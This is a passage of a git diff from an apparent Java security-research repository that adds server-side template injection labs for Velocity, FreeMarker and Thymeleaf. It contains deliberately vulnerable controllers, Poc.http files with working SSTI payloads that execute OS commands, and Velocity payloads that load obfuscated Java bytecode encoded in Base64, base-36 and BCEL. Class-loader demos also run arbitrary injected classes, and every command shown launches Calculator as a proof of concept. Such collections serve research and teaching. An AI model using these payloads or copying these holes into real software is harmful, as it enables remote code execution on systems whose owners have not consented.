''yv66vgAAADQALwoACwAWCQAXABgIABkKABoAGwoAHAAdCAAeCgAcAB8HACAIACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcAIgcAIAEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwADAANBwAkDAAlACYBAARFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAZzdGF0aWMBAAlqbmRpL0V4ZWMBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAoACwAAAAAAAgABAAwADQABAA4AAABkAAIAAgAAABoqtwABsgACEgO2AAS4AAUSBrYAB1enAARMsQABAAwAFQAYAAgAAgAPAAAAGgAGAAAADAAEAA0ADAAPABUAEgAYABAAGQATABAAAAAQAAL/ABgAAQcAEQABBwASAAAIABMADQABAA4AAAAlAAIAAAAAAAmyAAISCbYABLEAAAABAA8AAAAKAAIAAAAIAAgACgABABQAAAACABU='';var bytecode;try{var clsBase64 = classLoader.loadClass(''java.util.Base64'');var clsDecoder = classLoader.loadClass(''java.util.Base64$Decoder'');var decoder = clsBase64.getMethod(''getDecoder'').invoke(base64Clz);bytecode = clsDecoder.getMethod(''decode'', clsString).invoke(decoder, bytecodeBase64);} catch (ee) {try {var datatypeConverterClz = classLoader.loadClass(''javax.xml.bind.DatatypeConverter'');bytecode = datatypeConverterClz.getMethod(''parseBase64Binary'', clsString).invoke(datatypeConverterClz, bytecodeBase64);} catch (eee) {var clazz1 = classLoader.loadClass(''sun.misc.BASE64Decoder'');bytecode = clazz1.newInstance().decodeBuffer(bytecodeBase64);}}var clsClassLoader = classLoader.loadClass(''java.lang.ClassLoader'');var clsByteArray = (new java.lang.String(''a'').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod(''defineClass'', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}') + * <== + * + * [+] JS-BigInteger方案:==> + * #set($x='') $x.class.forName('javax.script.ScriptEngineManager').declaredConstructors[0].newInstance().getEngineByName('js').eval('var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass(''jndi.Exec'').newInstance();}catch (e){var clsString = classLoader.loadClass(''java.lang.String'');var bytecodeRaw = ''-1rejpalkaihptukadjofpq4477jth2y9adxdj523l49dm7cwmb9owj7jzk9dmjllo7pua6cdyzg0kco2dpd10n4po1jvq08m9fd9eg7tf1zuxa5tupl2p1fagk1y8ymanwxm2jaq0ftg0hwywt816olbz124qfpl9cp3wksmr09fnx4gk9gghaslerw3wm854xqedf4d1qrexcdbfmo80scb3r6od63srz5v86ls55gibc79mvivqqsnh0jhixg00db3j1cnkjb25j8jfr9askci4ke36qp40ikge9lluop7cgucfri3i5kugxsp7nw66y133o6wy9b1uoqy9f7qkdxgmehydlgfq4okv2slddobttzm3kxyyyugwntfihfypigq1i2mvo44px2qi8j8m3jjk5rbkot9w5c28jmjfjqsgxjgduwo119y9ju3i5yw4cmq34y3rfzh5245qqfj92qm9o5vzuzquoxnxat4qm9t29g3i68inmxlcfvy3er65gql7gwexvki6m7gz0ykf4u85zkv7zjqcbsoc9sj2gi45t8bq73x1m3ualaw4ooibjasuschoz4vc18jgyk0ygwp1ia2e4bboov1cw0io28yd4h6ncpt5dzqnake9i8xuq4efovis8q1fkusni2dgren4hz2tboqjct52q96xpc8rcp76uanzs8eoiw8gxdsfp0yxmy5ij9894u94821su6eyp3deqysplsh66kqeyybpncqwl02gg0gck7k2hh5l4qlsh3j08xxog2godqtibnjzfcro5mbhs5ed1pksq3oz5m59jm96nlfidmzf78gscd7edfogcekmoidzpvjw1en7zf82fkzu6p9ng2xkb90ot8fz5foo6bt6hfdz98vwfy6oxp20iech2mqcoffw0mvy7jkqb50j3lxomwputang2lavxhynf3a4d425qbhei9s3utidj91pgl2svue0r7tmve7kexv4dg5ml1ineaowagcn6favzes66lzrduk9706f51a1ergnqmihbnkvyej'';var bytecode = new java.math.BigInteger(bytecodeRaw,36).toByteArray();var clsClassLoader = classLoader.loadClass(''java.lang.ClassLoader'');var clsByteArray = (new java.lang.String(''a'').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod(''defineClass'', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}') + * <== + * + * [+] JS-BCEL方案:==> + * #set($x='') $x.class.forName('javax.script.ScriptEngineManager').declaredConstructors[0].newInstance().getEngineByName('js').eval('try {load(''nashorn:mozilla_compat.js'');}catch (e) {}importPackage(Packages.sun.misc); new com.sun.org.apache.bcel.internal.util.ClassLoader(new java.net.URLClassLoader(URLClassPath.pathToURLs(''''),java.lang.Thread.currentThread().getContextClassLoader())).loadClass(''$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMo$d3$40$Q$7d$9b$9a$acc$dc$af$E$97$b6$40I$a1$a5I$a1$f1$85$5b$w$$U9$Z$a8$I$w$e7$cdf$Vm$ea$d8$96$b3F$e5$Xq$$$87$82z$e8$P$e0G$B$b3$x$e8$87$c0$96g5o$de$bc7$9e$fd$f1$f3$e2$S$c0K$c4$B$eeb$a5$81$fbX$f5$b1$W$60$j$P$C$3c$c4$p$l$h$f6$7c$cc$d1$f6$b1$c9$f1$84$e3$vC$7d_g$da$bcb$98$ebt$8f$Z$bc$83$7c$a4$Y$W$T$9d$a9$b7$d5t$a8$ca$Pb$98$S2$3f0B$9e$bc$R$85$cb$5dw$9b$c1$df$97$e9$9f$fe$60$90W$a5T$af$b5e7$OO$95$ecM$c4$t$R$o$c4$3c$c7V$88m$3c$p$7d$5b$e0$d8$J$d1A$97c7$c4s$bc$60X$c9$L$95$b5$f7D$fb$40$a4$b2J$85$c9$cb$9e$u$8a$Q$7b$e81$b4$acP$9c$8al$i$l$9eJU$Y$9dg4$f9$cc$I$a3$r$99M$b2$91$8e$ad0$c3$d25$f5$ddp$a2$a4$b9$F$N$3e$cf$8c$9a$d2$bf$e6$V$V$a2$c4Ut$k$l$95$3a3$DS$w1$ed$ff$b5$bb$N3$f0$c2f$v$ZG$9d$e4$86$a4$nx$dc$b7$bb$5b$beF$dfW$99$d1SZD0V$e6$w$89$3a$dd$e4$l$O$Zz$ca$cd$be$f3$3f$dd$h$d0Q$99K5$9b$f5$b1$J$7b$c5$f6$a9$81$d9$fdR$5c$a0lDy$8d$ce$f5$ddo$60_Qk$ce$9d$c3$fb$8e$3b$cd$fa9$f8$c7$_$f0$923$c7$8f$b0$K$9f$98$8b$96$8b$3a$c5$Q$k$a9$84$84DhRu$JkhQ$E$7d$b5_$E0$8ee$h$9a$a0$ce$d6$95$e3$b6$f3$D$g$d6$adAng$940$t$i$b8$92Oo$40$c8$3d7l$f4$hi$f5$a2$P$a5$C$A$A'').newInstance();') + * <== + */ + + System.out.println(eval(exec1)); + + + } + + public static String eval(String poc){ + Velocity.init(); + VelocityContext ctx = new VelocityContext(); + StringWriter out = new StringWriter(); + Velocity.evaluate(ctx, out, "Whoopsunix", poc); + return out.toString(); + } +} diff --git a/SecVulns/VulnCore/SSTI/freemarker/pom.xml b/SecVulns/VulnCore/SSTI/freemarker/pom.xml new file mode 100644 index 0000000..e489b39 --- /dev/null +++ b/SecVulns/VulnCore/SSTI/freemarker/pom.xml @@ -0,0 +1,39 @@ + + + 4.0.0 + freemarker + freemarker + freemarker + + org.springframework.boot + spring-boot-starter-parent + 1.5.8.RELEASE + + + + + 1.7 + + + + + org.springframework.boot + spring-boot-starter-freemarker + + + org.python + jython-standalone + + 2.7.3 + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + + \ No newline at end of file diff --git a/SecVulns/VulnCore/SSTI/freemarker/src/main/java/com/ppp/ssti/HelloController.java b/SecVulns/VulnCore/SSTI/freemarker/src/main/java/com/ppp/ssti/HelloController.java new file mode 100644 index 0000000..f608f26 --- /dev/null +++ b/SecVulns/VulnCore/SSTI/freemarker/src/main/java/com/ppp/ssti/HelloController.java @@ -0,0 +1,45 @@ +package com.ppp.ssti; + +import freemarker.cache.MultiTemplateLoader; +import freemarker.cache.StringTemplateLoader; +import freemarker.cache.TemplateLoader; +import freemarker.template.Configuration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; + +import java.io.IOException; +import java.util.Map; + +@Controller +public class HelloController { + + @Autowired + private Configuration con; + + @GetMapping("/") + public String index() { + return "index"; + } + + @RequestMapping(value = "/hello") + public String hello(@RequestBody Map body, Model model) { + model.addAttribute("name", body.get("name")); + return "hello"; + } + + @RequestMapping(value = "/template", method = RequestMethod.POST) + public String template(@RequestBody Map templates) throws IOException { + StringTemplateLoader stringLoader = new StringTemplateLoader(); + for(String templateKey : templates.keySet()){ + stringLoader.putTemplate(templateKey, templates.get(templateKey)); + } + con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader, + con.getTemplateLoader()})); + return "index"; + } +} \ No newline at end of file diff --git a/SecVulns/VulnCore/SSTI/freemarker/src/main/java/com/ppp/ssti/Poc.http b/SecVulns/VulnCore/SSTI/freemarker/src/main/java/com/ppp/ssti/Poc.http new file mode 100644 index 0000000..38176ae --- /dev/null +++ b/SecVulns/VulnCore/SSTI/freemarker/src/main/java/com/ppp/ssti/Poc.http @@ -0,0 +1,42 @@ +### +# 触发命令 +POST /hello HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/json + +{ + "name": "John" +} + +### +# POC1 利用 freemarker.template.utility.Execute.exec() 调用 Runtime.getRuntime().exec() 执行 +POST /template HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/json + +{ + "hello.ftl": "<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"open -a Calculator.app\")}" +} + + +### +# POC2 利用 freemarker.template.utility.ObjectConstructor.exec() 调用 newInstance() 执行 +POST /template HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/json + +{ + "hello.ftl": "<#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()>${value(\"java.lang.ProcessBuilder\",\"open\",\"-a\",\"Calculator.app\").start()}" +} + +### +# POC3 利用 freemarker.template.utility.JythonRuntime 调用 org.python.core.PrePy.getCommandResult() 执行 java.lang.ProcessBuilder +POST /template HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/json + +{ + "hello.ftl": "<#assign value=\"freemarker.template.utility.JythonRuntime\"?new()><@value>import os;os.system(\"open -a Calculator.app\")" +} + + diff --git a/SecVulns/VulnCore/SSTI/freemarker/src/main/java/com/ppp/ssti/WebApplication.java b/SecVulns/VulnCore/SSTI/freemarker/src/main/java/com/ppp/ssti/WebApplication.java new file mode 100644 index 0000000..d2de3ab --- /dev/null +++ b/SecVulns/VulnCore/SSTI/freemarker/src/main/java/com/ppp/ssti/WebApplication.java @@ -0,0 +1,12 @@ +package com.ppp.ssti; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class WebApplication { + public static void main(String[] args) throws Exception { + SpringApplication.run(WebApplication.class, args); + } +} + diff --git a/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/application.properties b/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/application.properties new file mode 100644 index 0000000..1ae14b6 --- /dev/null +++ b/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/application.properties @@ -0,0 +1,2 @@ +spring.freemarker.template-loader-path: classpath:/templates +spring.freemarker.suffix: .ftl \ No newline at end of file diff --git a/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/static/css/main.css b/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/static/css/main.css new file mode 100644 index 0000000..7073165 --- /dev/null +++ b/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/static/css/main.css @@ -0,0 +1,3 @@ +.hello-title{ + color: darkgreen; +} \ No newline at end of file diff --git a/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/static/js/main.js b/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/static/js/main.js new file mode 100644 index 0000000..4d33be3 --- /dev/null +++ b/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/static/js/main.js @@ -0,0 +1,3 @@ +(function(){ + console.log("Hello World!"); +})(); \ No newline at end of file diff --git a/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/templates/hello.ftl b/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/templates/hello.ftl new file mode 100644 index 0000000..e607933 --- /dev/null +++ b/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/templates/hello.ftl @@ -0,0 +1,12 @@ + + + + + Hello ${name}! + + + +

Hello ${name}!

+ + + \ No newline at end of file diff --git a/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/templates/index.ftl b/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/templates/index.ftl new file mode 100644 index 0000000..539a1ff --- /dev/null +++ b/SecVulns/VulnCore/SSTI/freemarker/src/main/resources/templates/index.ftl @@ -0,0 +1,12 @@ + + + + + Spring Boot Hello World Example with FreeMarker - SSTI demo + + + +

Spring Boot Hello World Example with FreeMarker - SSTI demo

+ + + \ No newline at end of file diff --git a/SecVulns/VulnCore/SSTI/pom.xml b/SecVulns/VulnCore/SSTI/pom.xml new file mode 100644 index 0000000..ac956e9 --- /dev/null +++ b/SecVulns/VulnCore/SSTI/pom.xml @@ -0,0 +1,30 @@ + + 4.0.0 + + com.ppp + SSTI + 1.0 + pom + + SSTI + + + freemarker + thymeleaf + Velocity + + + + UTF-8 + + + + + com.ppp + Velocity + 1.0 + + + + diff --git a/SecVulns/VulnCore/SSTI/thymeleaf/pom.xml b/SecVulns/VulnCore/SSTI/thymeleaf/pom.xml new file mode 100644 index 0000000..3d4def7 --- /dev/null +++ b/SecVulns/VulnCore/SSTI/thymeleaf/pom.xml @@ -0,0 +1,80 @@ + + + 4.0.0 + com.ppp + thymeleaf + 0.0.1 + thymeleaf + thymeleaf + + 1.8 + UTF-8 + UTF-8 + 2.2.1.RELEASE + + + + org.springframework.boot + spring-boot-starter + + + + org.springframework.boot + spring-boot-starter-test + test + + + org.springframework.boot + spring-boot-starter-web + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 1.8 + 1.8 + UTF-8 + + + + org.springframework.boot + spring-boot-maven-plugin + ${spring-boot.version} + + com.ppp.thymeleaf.ThymeleafApplication + true + + + + repackage + + repackage + + + + + + + + diff --git a/SecVulns/VulnCore/SSTI/thymeleaf/src/main/java/com/ppp/thymeleaf/Poc.http b/SecVulns/VulnCore/SSTI/thymeleaf/src/main/java/com/ppp/thymeleaf/Poc.http new file mode 100644 index 0000000..42f264d --- /dev/null +++ b/SecVulns/VulnCore/SSTI/thymeleaf/src/main/java/com/ppp/thymeleaf/Poc.http @@ -0,0 +1,7 @@ +### +# POC1 +GET /ssti?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open -a Calculator.app%22).getInputStream()).next()%7d__::.x HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + + diff --git a/SecVulns/VulnCore/SSTI/thymeleaf/src/main/java/com/ppp/thymeleaf/SSTIController.java b/SecVulns/VulnCore/SSTI/thymeleaf/src/main/java/com/ppp/thymeleaf/SSTIController.java new file mode 100644 index 0000000..5d955a9 --- /dev/null +++ b/SecVulns/VulnCore/SSTI/thymeleaf/src/main/java/com/ppp/thymeleaf/SSTIController.java @@ -0,0 +1,20 @@ +package com.ppp.thymeleaf; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; + +/** + * @author Whoopsunix + */ +@Controller +public class SSTIController { + @RequestMapping("/ssti") + public String path(@RequestParam String lang) { + return "user/" + lang + "/welcome"; //template path is tainted + } + + + +} diff --git a/SecVulns/VulnCore/SSTI/thymeleaf/src/main/java/com/ppp/thymeleaf/ThymeleafApplication.java b/SecVulns/VulnCore/SSTI/thymeleaf/src/main/java/com/ppp/thymeleaf/ThymeleafApplication.java new file mode 100644 index 0000000..c99551d --- /dev/null +++ b/SecVulns/VulnCore/SSTI/thymeleaf/src/main/java/com/ppp/thymeleaf/ThymeleafApplication.java @@ -0,0 +1,13 @@ +package com.ppp.thymeleaf; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class ThymeleafApplication { + + public static void main(String[] args) { + SpringApplication.run(ThymeleafApplication.class, args); + } + +} diff --git a/Serialization/ClassLoad/pom.xml b/SecVulns/VulnCore/Serialization/ClassLoad/pom.xml similarity index 81% rename from Serialization/ClassLoad/pom.xml rename to SecVulns/VulnCore/Serialization/ClassLoad/pom.xml index 011d0ee..14819fe 100644 --- a/Serialization/ClassLoad/pom.xml +++ b/SecVulns/VulnCore/Serialization/ClassLoad/pom.xml @@ -2,7 +2,7 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.example + com.ppp ClassLoad 1.0 jar @@ -15,9 +15,9 @@ - org.ppp.tools + com.ppp.tools Utils - 1.0-SNAPSHOT + 1.0 org.springframework @@ -33,10 +33,10 @@ - - org.springframework.boot - spring-boot-maven-plugin - + + + + org.apache.maven.plugins maven-compiler-plugin diff --git a/Serialization/ClassLoad/src/main/java/org/example/AppClassLoaderDemo.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/AppClassLoaderDemo.java similarity index 97% rename from Serialization/ClassLoad/src/main/java/org/example/AppClassLoaderDemo.java rename to SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/AppClassLoaderDemo.java index 26e2340..6f1fb14 100644 --- a/Serialization/ClassLoad/src/main/java/org/example/AppClassLoaderDemo.java +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/AppClassLoaderDemo.java @@ -1,6 +1,5 @@ -package org.example; +package com.ppp; -import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.Base64; diff --git a/Serialization/ClassLoad/src/main/java/org/example/BCEL.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/BCEL.java similarity index 93% rename from Serialization/ClassLoad/src/main/java/org/example/BCEL.java rename to SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/BCEL.java index d278cde..dfc8b10 100644 --- a/Serialization/ClassLoad/src/main/java/org/example/BCEL.java +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/BCEL.java @@ -1,4 +1,4 @@ -package org.example; +package com.ppp; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; @@ -42,6 +42,10 @@ public static String encode(Class clazz) throws Exception { public static void decode(String s) throws Exception { new ClassLoader().loadClass(s).newInstance(); } + public static void decode2(String s) throws Exception { + Object o = Class.forName(s, true, new ClassLoader()).newInstance(); + o.getClass().getMethod("exec", String.class).invoke(o, "open -a Calculator.app"); + } public static void decodeArg(String s, String arg) throws Exception { // new ClassLoader().loadClass(s).getConstructors()[1].newInstance(arg); diff --git a/Serialization/ClassLoad/src/main/java/org/example/ClassLoaderUtils.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ClassLoaderUtils.java similarity index 99% rename from Serialization/ClassLoad/src/main/java/org/example/ClassLoaderUtils.java rename to SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ClassLoaderUtils.java index 7e6d40c..851915b 100644 --- a/Serialization/ClassLoad/src/main/java/org/example/ClassLoaderUtils.java +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ClassLoaderUtils.java @@ -1,4 +1,4 @@ -package org.example; +package com.ppp; import java.util.Arrays; diff --git a/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/Exec.class b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/Exec.class new file mode 100644 index 0000000..f8be6e5 Binary files /dev/null and b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/Exec.class differ diff --git a/Expression/OGNLAttack/src/main/java/org/example/Exec.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/Exec.java similarity index 95% rename from Expression/OGNLAttack/src/main/java/org/example/Exec.java rename to SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/Exec.java index 5b789c8..1265327 100644 --- a/Expression/OGNLAttack/src/main/java/org/example/Exec.java +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/Exec.java @@ -1,4 +1,4 @@ -package org.example; +package com.ppp; /** * @author Whoopsunix diff --git a/Serialization/ClassLoad/src/main/java/org/example/ExecArg.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ExecArg.java similarity index 96% rename from Serialization/ClassLoad/src/main/java/org/example/ExecArg.java rename to SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ExecArg.java index e7436e1..f676e67 100644 --- a/Serialization/ClassLoad/src/main/java/org/example/ExecArg.java +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ExecArg.java @@ -1,4 +1,4 @@ -package org.example; +package com.ppp; /** * @author Whoopsunix diff --git a/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/Main.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/Main.java new file mode 100644 index 0000000..4a8bb1a --- /dev/null +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/Main.java @@ -0,0 +1,13 @@ +package com.ppp; + +import com.ppp.tools.encryption.B64; +import org.springframework.expression.Test; + +/** + * @author Whoopsunix + */ +public class Main { + public static void main(String[] args) { + String b64Str = new B64().encodeJavaClass(Test.class); + } +} diff --git a/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ReflectUtilsDemo.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ReflectUtilsDemo.java new file mode 100644 index 0000000..35d9b25 --- /dev/null +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ReflectUtilsDemo.java @@ -0,0 +1,21 @@ +package com.ppp; + +import com.ppp.tools.encryption.B64; +import org.springframework.expression.Test3; + +/** + * @author Whoopsunix + */ +public class ReflectUtilsDemo { + public static void main(String[] args) throws Exception{ + String b64Str = new B64().encodeJavaClass(Test3.class); +// String b64Str = "yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY"; +// defineClass_cglib(b64Str, "org.example.Exec"); + } + + public static void defineClass_cglib(String calcBase64, String className) throws Exception { + org.springframework.cglib.core.ReflectUtils.defineClass(className, + java.util.Base64.getDecoder().decode(calcBase64) + , ClassLoader.getSystemClassLoader()); + } +} diff --git a/Serialization/ClassLoad/src/main/java/org/example/RhinoClassloaderDemo.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/RhinoClassloaderDemo.java similarity index 92% rename from Serialization/ClassLoad/src/main/java/org/example/RhinoClassloaderDemo.java rename to SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/RhinoClassloaderDemo.java index 7a069f1..c1465d9 100644 --- a/Serialization/ClassLoad/src/main/java/org/example/RhinoClassloaderDemo.java +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/RhinoClassloaderDemo.java @@ -1,6 +1,6 @@ -package org.example; +package com.ppp; -import org.ppp.tools.encryption.B64; +import com.ppp.tools.encryption.B64; /** * @author Whoopsunix diff --git a/Serialization/ClassLoad/src/main/java/org/example/ScriptEngineDemo.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ScriptEngineDemo.java similarity index 82% rename from Serialization/ClassLoad/src/main/java/org/example/ScriptEngineDemo.java rename to SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ScriptEngineDemo.java index 955f58c..682441f 100644 --- a/Serialization/ClassLoad/src/main/java/org/example/ScriptEngineDemo.java +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/ScriptEngineDemo.java @@ -1,6 +1,6 @@ -package org.example; +package com.ppp; -import org.ppp.tools.encryption.B64; +import com.ppp.tools.encryption.B64; import javax.script.ScriptEngineManager; @@ -30,6 +30,16 @@ public static void defineClass(String calcBase64, String className) throws Excep "defineClassMethod.setAccessible(true);" + "var loadedClass = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);" + "loadedClass.newInstance();"; + code = "var data=\"" + calcBase64 + "\";\n" + + "var aClass = java.lang.Class.forName(\"sun.misc.BASE64Decoder\");\n" + + "var object = aClass.newInstance();\n" + + "var bytes = aClass.getMethod(\"decodeBuffer\", java.lang.String.class).invoke(object, data);\n" + + "var classLoader=new java.lang.ClassLoader() {};\n" + + "var defineClassMethod = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + "defineClassMethod.setAccessible(true);\n" + + "var loadedClass = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);\n" + + "loadedClass.newInstance();"; + System.out.println(code); // String code = "var data=\"" + calcBase64 + "\";var bytes=java.util.Base64.getDecoder().decode(data);" + // "var classLoader=java.lang.Thread.currentThread().getContextClassLoader();" + diff --git a/Serialization/ClassLoad/src/main/java/org/example/TransletClassLoaderDemo.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/TransletClassLoaderDemo.java similarity index 95% rename from Serialization/ClassLoad/src/main/java/org/example/TransletClassLoaderDemo.java rename to SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/TransletClassLoaderDemo.java index 76cf78f..89c2950 100644 --- a/Serialization/ClassLoad/src/main/java/org/example/TransletClassLoaderDemo.java +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/TransletClassLoaderDemo.java @@ -1,7 +1,7 @@ -package org.example; +package com.ppp; -import org.ppp.tools.ClassFiles; -import org.ppp.tools.encryption.B64; +import com.ppp.tools.ClassFiles; +import com.ppp.tools.encryption.B64; import java.io.Serializable; import java.lang.reflect.Method; diff --git a/Serialization/ClassLoad/src/main/java/org/example/URLClassLoaderDemo.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/URLClassLoaderDemo.java similarity index 98% rename from 